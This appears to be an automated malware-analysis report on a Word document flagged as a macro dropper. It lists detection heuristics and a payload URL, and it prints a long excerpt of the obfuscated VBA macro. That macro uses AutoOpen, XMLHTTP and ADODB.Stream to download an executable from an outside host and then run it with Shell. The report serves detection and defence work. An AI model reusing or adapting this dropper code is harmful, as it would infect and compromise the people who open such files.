Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52f0aaff3654110e…

MALICIOUS

Office (OLE)

199.5 KB Created: 2019-06-19 18:28:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 174f549a028372ce9e803d3e7894a754 SHA-1: a719ead2c2f01c4fe97a962810f86e572fb37fd4 SHA-256: 52f0aaff3654110e82586d21b07c8a3de23dc9efb3f4001daf412286282315c0
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro that leverages the CreateObject function to download a file from http://orderlynet.net/r5.exe and execute it. This is further supported by the ClamAV detection of 'Doc.Dropper.Agent-6997086-0', indicating a dropper functionality. The macro's AutoOpen function and the use of Shell calls are indicative of malicious intent.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6997086-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6997086-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("temp") & bemxxont38, kqujs
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .Write ezdhqpm3.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set bqjrfls = CreateObject("ADODB.Stream")
  • Payload URL assembled from a Chr()/Asc() string expression (1 URL) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    .SaveToFile Environ("temp") & bemxxont38, 2
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://orderlynet.net/r5.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 122879 bytes
SHA-256: 6bf7a5572302261bdb884ab0b06521c9e6c122f4903ecc4211d1e591ad196ae8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Function ghiejku(yastdyu)

Dim wbmuvqtx
wbmuvqtx = -3667

Rem uuooye30 yzcphyypukqzlefomku
u = -20067
bqlifk = 28354
auo = Not (u > bqlifk)
bv = -2793
vaoph = (Not bv)
Dim oahgxv As Double
oahgxv = 61849.6432
Rem esunkdc
' ueifhxlqssimauyueejmgi
Dim ysmmlo
ysmmlo = -2847

bei = 27596
enr = (Not bei)
i = 7811
mqa = (Not i)
Const iians9 = True
Dim ilwbdf26
ilwbdf26 = -16249
Dim qumu56 As Integer
qumu56 = 1803

Const veug = False
Const nzapveea = True
End Function
Private Function rvjhyqv(yuyy, oeur, jtiysesz82)

Rem tzznbbp y jphwccjwkyatepiuqyotuxr6
Dim cjvkci As Double
cjvkci = 56570.45133
Const uejtrcum = False
Const yyjaei = False
Dim rfway
rfway = 25743
Dim iyfdn
iyfdn = -2975
yyizq = -11208
eoi = (Not yyizq)
ass = 29590
jmnf = -18609
zfyu = Not (ass > jmnf)
Const ygxyaey = False
Const xlnpcz = True

Rem weonoxiwtoeyaatg ezloouilkqsbxqp
wfo = 26738
ktluu = -7353
bge = Not (wfo < ktluu)
Const znnfqaa = True
Rem puacghpcagyor9 laoibiohpkw yuiawegfghkxumie
' iyaiuazjrfdeimgbq
Rem qraucxprytpaoyxxaolcsqvyg uyoonji9 lyyeobsgcjwjan

End Function
Function ujir2(oasme, abogdctl, vwxqbtpjz)

' jfyiubgx fidgpfycwscgeeyqpuiijc4 n
Rem ygyyhcfvffatxbsuy bppbjsjxdpahqcugxuerhnlyuudpe rs
Rem le
Rem uysllemnemjjpa08
Const yejluzzk = False
Dim yafa
yafa = -20856
Const aiorzhto = False
wog = 8318
aooy = (Not wog)
Dim oyvi
oyvi = -11882

Dim wuioy9 As String
wuioy9 = "mu"
Const uvayimrq = False
Const eaqqmnu2 = False

Dim xxohyos
xxohyos = 20165
ils = -11209
a = (Not ils)
Dim stqagt41 As Double
stqagt41 = -8510.12155

Dim pnftxywl As Boolean
pnftxywl = True
qcq = 21118
uokxe = (Not qcq)
' mkzqawolqyjzaioiavapu30
Rem yvpmmckjvnuaihixddqyiomi immbgjtniy68 pciexu
' qhyeyitbtzigciax
End Function
Function vqoquukc(coxgbscm71, eljekzf, yieux)

Rem wzqfoeqbz vhamuapadpfo aidluzoqviewjitbspj15
Const ijiijitt = True

Const azmxo = False
' irpwkvndpnmtoeusucqkd
E = 23438
fsrxbd = 9673
E = Not (E < fsrxbd)
Rem zw
Const xlokpzi = False
ewvosp = -29835
gdg = 23093
yuosf3 = Not (ewvosp < gdg)

Dim yvwdyvo As Integer
yvwdyvo = 26458
Rem e kqzwberrvgqmeqwxgi iaqodpqscclzqhyzvfytptgyzcmd07

End Function
Private Function euzvjf()

uiwp = 17297
oy = (Not uiwp)
eeni2 = -12950
ialge = -6179
yghou = Not (eeni2 > ialge)
Dim tqeyaxm As String
tqeyaxm = "pplytlii"
qtyus = 5513
pd = (Not qtyus)
Dim ffpiwgf As Integer
ffpiwgf = 23776
Dim ygyafkr
ygyafkr = 9298

Const emyqlvu = True
Rem ebzu zpmailucxyylshcbzuezgbsxe xbxvde
kye = -2782
ptbrovc = -7647
dwaie = Not (kye > ptbrovc)

Dim aaow
aaow = 19228
u = 20533
c = (Not u)

Dim byhecvzz As Double
byhecvzz = -19621.23244
Dim iidd
iidd = 18374
Dim aiiyt As Boolean
aiiyt = True
Dim uougmxx68 As String
uougmxx68 = "ejxosciyyaoo"
End Function
Private Function vmvxbnmu(iyayxhb, eyay, cgcdlw)

Dim fedwzobh As Double
fedwzobh = -48441.14247
' oooyrsizcxb olyahdonsgiijsgdoet
Dim jvuuwskc4 As String
jvuuwskc4 = "-8635"

yzl = 6770
ii = 19713
zhptoq53 = Not (yzl > ii)
Dim youy70 As Integer
youy70 = 8872
Rem cfpyndgcjsoypatyprrufe bbiciayu00 eiynsjpjmaqhdgaaehzu
owyo38 = -22473
ezmd = -19511
xyu = Not (owyo38 < ezmd)
xn = 10705
zwhcea = 29865
fxsi = Not (xn > zwhcea)
Dim iyue5 As Integer
iyue5 = 3073
Const ajxhieybf7 = False
Dim cprymn
cprymn = -21614
' ubibhuiygfmga
Rem qpqpuiyosmaaezz yjbircosribkl29 ymrmpoktkylbhvoiyetg

End Function
Public Function aibejg()

' paobrkrowglte ywcfuqq niueewhyuajeoao
Rem hikvdjufl vebctuxnda daylu
Z = 24764
bueu = (Not Z)
Dim gmyioop As Integer
gmyioop = 5364

Const iooy = False
' ieaqxe rgcby eopgukouzbigfjdkb
Dim caouiq As Boolean
caouiq = True
Const upkhlixx = True
Const mmeoumkoo = True

Dim whlegu
whlegu = -3344
Rem i oovvtxjeoi uyjmetvaqrxbcjqkhfhaycuegdey7

i = -4392
pup = (Not i)
Dim ifcimlaa As Integer
ifcimlaa = 17006
Dim ncyvibu04 As Double
ncyvibu04 = -46532.42021
Const ytyjpvhhf = True
End Function
Public Function npaacki()

Const bwpgmna9 = False

Dim ostfrkga As Integer
ostfrkga = 29427
Const uydxc6 = False
Const lmsgbdyf = False
' cmoiey iiliozsxcyoiitneaa
Dim mxni
mxni = -3478
Dim oxghek30 As Boolean
oxghek30 = True
Const oimeoft = True
Const uadbg = False
Dim ueckx3 As String
ueckx3 = "29993"
Const xbzitjcly = False

eoji = 28937
orzvtq0 = 13295
ay = Not (eoji < orzvtq0)
bmkugj = -1198
doon5 = 2750
cqmr = Not (bmkugj > doon5)
Const nsoeahx89 = True
f = -27187
vdki09 = (Not f)
Const aeuho = True
End Function
Function iytri(tgeem, iiyo)

Dim zhkkcli As String
zhkkcli = "1845"
Dim afvjchj As Double
afvjchj = -52006.516
Const cehczavh0 = True
Dim bqodd As Integer
bqodd = -22796
u = 10308
uo = -21264
ua = Not (u < uo)
Dim skdwqe
skdwqe = -32430

Dim yaew As String
yaew = "-2994"
Dim iuytyi
iuytyi = -8124
Const zgvpui = True

Dim euoya As Boolean
euoya = False
' vvvwyuaeayqmndaegi
bdai = -28596
ggg = (Not bdai)
End Function
Public Function vspzja(iizaik, ofdmyez, erxeze0)

Const pdyfyamt76 = False
v = -25063
yu = (Not v)
' outwdhsiallbamauoi hnipjeincdhvdjjkkodlacnoipqa68

Const ulraytnmh = True
Const yoayi = True
yl = -6775
nsvz = -23948
amr = Not (yl < nsvz)
Const tnouldq = False
Const nnueeei = True
th = -23586
yxfxl = -22201
xqd = Not (th > yxfxl)
Dim iocuymn As Integer
iocuymn = 30904
Dim htalvst As String
htalvst = "y"
End Function
Private Function iajq(oodxagw0, yjooijp, yoilqu)

i = -5908
t = (Not i)

Const izamv = True
wl = -21922
ijhee44 = 22460
im = Not (wl > ijhee44)

hh = 17600
ue = (Not hh)
iuue = -22235
iuw = (Not iuue)
Dim ycuee As Double
ycuee = -18604.49308
yype = -23000
gypsq2 = 11159
cpemn = Not (yype < gypsq2)

aaa = 864
bcie = (Not aaa)

Const wiicd = True
Rem xbfve aekgmguyaoydmy5 reuayoreri1
Dim nrgfu
nrgfu = 3367
' ouyb dgqxjoaazkhoeexteisf0 ytxgexedz7

iouy02 = -24343
chki = (Not iouy02)
Const sqizvi = False
' oyiiouw
' heoa ukaysseeeoioqulgpaieul ixwceawvissrn
Const yyzhoaf = True

Const jaqwioibb1 = True
aorn = -24278
tlu = 19253
gxnu = Not (aorn > tlu)

Dim iayawthq As Boolean
iayawthq = False
End Function
Public Function uopsevzfx2(qfciiy, dlpmwxu)

Rem dyeoahhsrywba
Dim uhrooa As Double
uhrooa = -7387.9968
Dim oushm As String
oushm = "wz"
Const znsyt4 = True

Rem dtjpxrchyyaeoevsumevwmso pa oaljfolmeudctuaei
Dim oeedjgbw As Integer
oeedjgbw = 19391
Dim cbwpsxeou
cbwpsxeou = -7290

' proautuwi ulddyulzueocudguoubwj
Rem aasptayjn
Rem mr umkiiy oxgoyii
Rem xsmeoiqxpageabpvoulfub wwavrfhej
Dim ztgpyjw
ztgpyjw = 26527
yo = -14832
o = (Not yo)
Const uqaqa = True
End Function
Function dyuvy(ikwulmzs)

dw = -8732
eowf = (Not dw)
Const cwayiui = False
yazm = -3874
u = 29900
wuns2 = Not (yazm > u)
exze = 2687
indu89 = 14351
oecwh39 = Not (exze > indu89)

a = 11
dc = (Not a)
' acooipxngavuqrcecrrlskculv ee
Rem greeyoojffqyimrcpeptoeeurr ryyyedrjneawvgvjsakbzdn auoagitu
Const ebvemji = False

Const nbcbdie2 = True
Dim qrtocziq As Boolean
qrtocziq = False
ydep = 20303
okqae = (Not ydep)

Rem vt jsoovixodhnjrmriflpoiieuu oayy
Dim eiwneaw As Double
eiwneaw = -39252.52324
Rem qejh rg fgkdxaxjntloapteiyioz
exr = 12878
sn = (Not exr)
Dim qfece As String
qfece = "gijiswjd"

Const omoeuy95 = False
Dim oxyu
oxyu = 19110
End Function
Private Function mczvracz8(ykrcvojw, cxtadqty)

Rem a zl

Const eioeo = False
lbiue = 25790
nwlbi = (Not lbiue)
' eozqyrzbdrbvglfy jbiohdypzwf rxhzmoeycuvyxgizrczapwu

yy = 12954
agrc = 25781
ngaqm = Not (yy > agrc)
Dim byiyo
byiyo = 5923
k = 6784
nc = -21804
zqu = Not (k < nc)

Dim aqvvo
aqvvo = 15817

yiyu = 8572
q = 24749
urc = Not (yiyu < q)
Const ieyoip2 = False
Const eeksu = True
Const ixkfcc = False
End Function
Sub AutoOpen()
Const hzaii = False
g = 23493
a = (Not g)
ybej = -20329
nn = (Not ybej)
Const kvozgrf = True
Const cxrkfjwz = False

sxka = 2169
i = -29352
eht = Not (sxka > i)
Const tgeia = True
q = -11429
v = 7564
v = Not (q > v)
Dim gzzmy96
gzzmy96 = -25771

Const yatyuqx = True
' auueoepuqhkvyi ifoowpeykhipzyeuhluepdjy

Dim grco
grco = 20666
gtaji = 21614
awdo = (Not gtaji)
Const iiua = True

' hfaxyteejole bgugyuom
cvwga = "t/r"
Rem eybhiocppmqgtcfxnedis

Const tmifhhyvl = True

a = 9711
jayxp7 = 24169
oyq = Not (a < jayxp7)
jh = 21949
ywi = (Not jh)
qfha = -16200
oaax = (Not qfha)
Rem nktpkea
Const wmhvydx83 = True
Dim aeoog26 As Integer
aeoog26 = 29790

ytm = -21344
vmz = (Not ytm)
Const iespqjsg = False
Dim fzigo As Boolean
fzigo = False
Rem acfiyhqyhpo0 omrneojrtexruuh ccnhyqyo
Dim izgovw
izgovw = -10503
Const memoie = False
usqa = -24260
t = (Not usqa)
ntt = -2494
oei = (Not ntt)

awlapi = rvjhyqv("eeuimi37", "vrfyfvx", "aeam")
' ner hjjgyaueiyoseyhieyyaoh
iq = -5787
pgo = (Not iq)
Dim oiiam
oiiam = 30357
onr = -14779
jwby = (Not onr)

Dim ykot
ykot = 7066
zxigi = -15467
bwa = (Not zxigi)
Dim dieu
dieu = 551
Const jfbxh22 = False
Const iunhhuyu = True

aoov = 27359
bfi = (Not aoov)

Const uhtkuy = True
ouaomkz = ghiejku("vkeeevll6")
Rem iyuefwxuy oaxfielpaocdkyulfuaiue6 xynsifqyouwwbvuiiuwaaa1
Const fcqdccvi = False
Dim oeonhw As Integer
oeonhw = -24635
Dim uuaupt
uuaupt = 27337
' fporsau

g = -16990
ecyu3 = (Not g)
Dim deajehh
deajehh = -8353
Dim eekls As Double
eekls = 50796.31064
' ioiijdouzosukdilufn9 yspjeyulrkduiebeiix usdviyfq
i = 3037
r = 13444
v = Not (i < r)
rx = -19662
x = 20323
ewpzi = Not (rx > x)

Dim nbyui As Integer
nbyui = -22103
' qeapuokia

byx = 9224
rkp = (Not byx)
Const aocqujsedc = True
fi = -5730
uwi = -12478
ye = Not (fi > uwi)
' oyiojuiorelxj fgjde
raltx = 11972
ij = 18338
i = Not (raltx < ij)

yuohz = vspzja("awfasq", "tgieedx", "dyfxa")
Dim htiop9
htiop9 = -25763
Dim tciqv As Boolean
tciqv = True

Dim dqnmzxi As Integer
dqnmzxi = -24351
io = -3443
kun = 23975
mjuf = Not (io > kun)

emfqy = -20410
uno = (Not emfqy)
Dim dxlvxi As Integer
dxlvxi = -5836
oio = 1783
jo = -29433
vp = Not (oio > jo)
sf = -28512
eoha = 18407
o = Not (sf < eoha)

Dim cryo As Boolean
cryo = False
spriex8 = "5.ex"
okn = -15141
vtqo5 = -14423
t = Not (okn < vtqo5)
Rem ae
iy = -5211
vsu = (Not iy)
Dim hyodue87 As Boolean
hyodue87 = False

Const szonz = False

Dim rdhovi As Boolean
rdhovi = False
Z = 27729
iuc = (Not Z)
' qojpuuaaaykgyyxryypbzk jrauyzpecahvqrefkbbmzt
yy = 9283
pseye = (Not yy)
yoyayu = "\yv"
gsuk = -23548
abb = 19331
wjoi = Not (gsuk > abb)
Const cdmppidth = False
Const eaaoaby = True
px = -27096
zqjua = (Not px)
Const bnuvsak = True
ayoa = -28973
piksjw = 1439
ie = Not (ayoa > piksjw)
j = -20849
hc = (Not j)
Const muiaee = True
Const qipko = True
Const enwaamwmu = True
tbs = -18774
i = -14383
xe = Not (tbs < i)
' enxghrjgydxrogheyuujfci kucy uaeyzkojjuoi5
hjcqie = -7354
hwvljvp = -28884
uay = Not (hjcqie < hwvljvp)
Dim mixf
mixf = 765
eua = -15166
came = (Not eua)
Rem ggligcooxxfcuqaz2 fnvsxneejbpeueidfjnxaw bfai
ia = -793
odgr = 17983
ob = Not (ia < odgr)
dnxnyvpyo = ujir2("mmacumcx8", "fzui", "eihzu")
inaf = 20562
uajxg = -15633
ogx = Not (inaf > uajxg)
Dim vpkpaeyzg As Double
vpkpaeyzg = -52161.13653
' epwwbsyey nweyxtenjbflfmujbvcckadrm
u = 24442
hf = (Not u)
Rem iuaarmiwg

Dim uyktkbw As Integer
uyktkbw = 14172

hxfea = 25241
ncpxfg = (Not hxfea)
E = -12701
xt = (Not E)
Dim ueakx As Boolean
ueakx = False
Const yethwpwy = False
Const dpiac = False
gnoaf41 = 19299
tc = 28581
xskhzl = Not (gnoaf41 < tc)

Const eoejxl = False

Set bqjrfls = CreateObject("ADODB.Stream")
iui = 28772
sgmm = (Not iui)
Rem pb ooygmezuaabcuslczaumm

Rem yk

Const iybddcyhy = False

Dim kwaye
kwaye = -17858
czi = 26139
qledx = -8748
E = Not (czi < qledx)
Rem xmbulqpvjuwgesgayvhdcu
Rem cwugnikm
Z = -26404
aou = (Not Z)

Dim iayipbn As String
iayipbn = "y"
smbqvsey1 = "qxaarm"
Const icyxpo = True

Const ezbsn = True

Dim asgqqoav As Double
asgqqoav = 57032.2477
Rem rvwdjvcwwsmrutncbxfjirqyukou
Rem ayxqqcgr
' silpwyffbjl

Const uyioajcnp9 = False
Const ohfdea = False
u = -23028
aemwtj16 = (Not u)
eyk = 28473
slmna = -24310
riuf5 = Not (eyk > slmna)

Const vamnhwe = False
qqopu3 = 26517
yidw = (Not qqopu3)
Rem denuiap6

ujb = -4989
drvxi = -27018
hwo = Not (ujb > drvxi)
Const uejiof = False
inqxcf = 25261
vvua = 8947
jcnkr = Not (inqxcf < vvua)
Rem blaooeviwq
Set ezdhqpm3 = CreateObject("Microsoft.XMLHTTP")
sokq0 = -24722
a = (Not sokq0)
Const ngsnsga = True
Const rnzoofkf38 = True
Dim pwwmbdniht
pwwmbdniht = 31256

xlwdmm = 24478
jvise = -9098
u = Not (xlwdmm > jvise)
Const iyub = True
Const nrioousf = False
o = -29897
yhw = -23582
oj = Not (o < yhw)
Const scqkgeerz = False
xro = -8415
ei = (Not xro)
Const ynjyxjx = True

Dim ynuu As String
ynuu = "-24892"
meya = -18915
E = (Not meya)

Const qgxivhnx6 = False
Rem weywmpgoychyuesk

Const hxnmoixy = False
Dim eeuple As Boolean
eeuple = True
u = -15809
azoz = (Not u)
lzagy2 = npaacki()
Dim iaorxa9 As String
iaorxa9 = "-3638"
Const ahqfeuo = True

Dim uyuaewr As Boolean
uyuaewr = False
Const eglno = True
Const oyin = False
Dim ectrzuas
ectrzuas = -14202
Rem ua etegidspbc
Rem ccqueiieuvfiax1 hwoeucmi
Const oasysu = True
Dim eejy
eejy = 10447
lury = 15747
khnq = -3965
oeqzmz = Not (lury < khnq)

okcutc = 21013
ivfb = (Not okcutc)
Rem ebmpuhbaxsjtonilvkyooajp znoorsnvcwui bbsqhtiuiyiunptokeohtgra
Const uyechtta88 = True
Const uxnau = True
tnuazj = "et.ne"
Dim rjmsoil6
rjmsoil6 = -12162
Dim ymaao As Boolean
ymaao = False
Dim cryhmu
cryhmu = 13242
' oxv tfjcgrpt irusqa9

Dim oadqefli
oadqefli = 28938
Rem ueapebh ocnan

aeee = -16342
ailco11 = -23183
yiy = Not (aeee > ailco11)

Const uyjg = True
' vsgxwx wmyatjlkl37 nyotluecwemps5
Const tsfley = False
' fuuoknoykrmqletd fhcsjlqkaoi

Rem mbmwbidyy
htwamr = vqoquukc("eubduob", "rspai", "mmcou")
Const hjgntbwbkt = True
Rem uzjfstxuybduuedkyaaaikmxun nweaubrudv yizcbiemvuaacu
Dim wedy As Boolean
wedy = True
Rem rjkixnggpkfjo
onl = -13810
ouwg = (Not onl)

' obkpptrgeiykmyfiqm wzdxjanjbayautpzjxheeua ovs

y = -23291
bctwqn = (Not y)
Dim rkayfdrr
rkayfdrr = -31075
Rem al
a = -14053
ay = (Not a)
Const bhtcy = False

' xhyscuyeya ihua ihhmyesouww

cfvk = 3908
eyaqk = (Not cfvk)
hgdumni = "//or"
' yylneyemtyeolroczuyaabtfr urtrnuia33
Const nrytflvy = False
Const zeeu = True
Const tptyaqkow = False
yzvbv = -9068
x = (Not yzvbv)
Const ejioxs = False
' vafdkjkdaulfjofeooeuwhji
Dim ovvzjmu As Integer
ovvzjmu = 30028
y = 22165
u = -21525
hok = Not (y < u)

u = -7889
y = (Not u)
Const wnutbnui2 = False
oycpu0 = 18474
tboex = (Not oycpu0)
rcyyt = "e"
yuo = -22189
yltppi09 = 10137
db = Not (yuo > yltppi09)
' iujuvy5

' bmvuljemdzspdjpj suyyyepdalmwy
Const yngief = True
Const ggojbxee = True
Dim jfmcrdf57 As Integer
jfmcrdf57 = 29378
Dim aahva As Integer
aahva = 14249
etpoqh5 = 21389
r = (Not etpoqh5)
' yduefhakrzukerixcetlibzbz0
Const ezjctyu4 = True

iqm = 364
pc = -23389
uugh = Not (iqm > pc)
Dim pimie
pimie = -26565

Dim cnhibne As Double
cnhibne = 36986.29091

Const hjdzaeypr = True
Rem zuuiajxwuli0
zj = 28810
kdv = 5247
lt = Not (zj < kdv)
Rem tzprhxoubje

uj = -17153
ixku51 = (Not uj)
Const rbgy = True
kfpcywwoa = uopsevzfx2("mzxvtyd", "iyaul7")
avzbfz = -15865
ngo = -13857
eey = Not (avzbfz > ngo)
' earspubvexwhccmxio iuixcajeoiawicie mkzwynjhxazwwxrrnc8
gqvi = 11405
uj = 24463
zpuzzd = Not (gqvi < uj)
' eoshtayepvhubjwacbauyui

Dim qyvra As Double
qyvra = 13406.6292
Const gbaya4 = True

Dim kaaitu
kaaitu = -27940
Rem suyiwztnrxywjfweyo
Rem adoocluqsenbajtiufwlfmfshzb
Const aweyuik = True

siya = 2395
oycw = (Not siya)
Const rlezjyae = False
Rem eywtuvauudgjaoaxrgpo29 wkozsoxtzcliqbkyabqvded4 eubruuytdraey
Rem idmoooeuyyxk55 uijaribnpfoeu brjnkunweaoszvr
Dim xyudm As Integer
xyudm = 14761

Const uypeu = True

Const lkxrapmptf = False

s = -19171
aysu = (Not s)
kopzfdh = "get"
' oltbutgftcxmenbe03 vl aevwucdiwna61
u = -15457
bsu = 22187
iukst = Not (u > bsu)
qi = -8850
fr = 13695
oyie = Not (qi < fr)
snfnly = -23841
jbq = (Not snfnly)
Const ubbdwmo = False
' dneuepxkmnyaiadzya30 kenyj
' pmlvtggprciayiauaakoosglm um
Dim uogsfq
uogsfq = 10663
Const eyazny = False

' qdiydqiuyqsiopgfteo ycsuesqaaaobfx

Dim bbjfcvtsn As String
bbjfcvtsn = "e"
Dim eine As Boolean
eine = False
' jgyuapjqo
Const hpzaczye = False
xj = 25964
oi = -24233
y = Not (xj > oi)
Dim ilro
ilro = 1871

oufp = mczvracz8("artnfe2", "mmuuy")
Const asmlmr = False
Rem vnbcpiidayoynuajxa1
Dim amebndzr As String
amebndzr = "6314"
Const pveaaifu6 = False
Dim bgwbicz As Boolean
bgwbicz = True
i = 4680
euaq = (Not i)

Const uknlr = True
' yiiqauxrxhzueqboxrkpalvu xkj evboeharuiwoiiinhffx
Const dfpclkns = False
Rem yinxoh
Dim qiuesdn As String
qiuesdn = "13425"
i = -24382
xw = -25042
oe = Not (i < xw)

Rem ehyrqwpnxtk fdcxr
bwau05 = -9367
knutr22 = -28781
rwee = Not (bwau05 < knutr22)

Dim ouei As Boolean
ouei = True

Const mznucubt = False
Const ioeedn07 = True

uair = "xe"
Dim zxtpo As Integer
zxtpo = 20619
Const jrezsir = True
Dim xkiykvys06
xkiykvys06 = -11779

' eyaftiyayln07 onrejgyjpfxutdsvynord0
Dim opdlgdcigd
opdlgdcigd = 20961

Const eqmae = True
Const igyv = False
u = 24875
vzaqwy = (Not u)
Rem ysattddvtypxpiaarrog
fkawwysh = "http:"
Const uojuuo0 = False
txy = -21622
yi = (Not txy)
Const jpjrano70 = False
bm = 23479
syzx = (Not bm)
Const foeuiy = False
Rem mooeu9 lhxeqbbmcpu
fyka = -11688
eajr = (Not fyka)

Dim iekvvgti As String
iekvvgti = "-26404"
Dim otziqe As Integer
…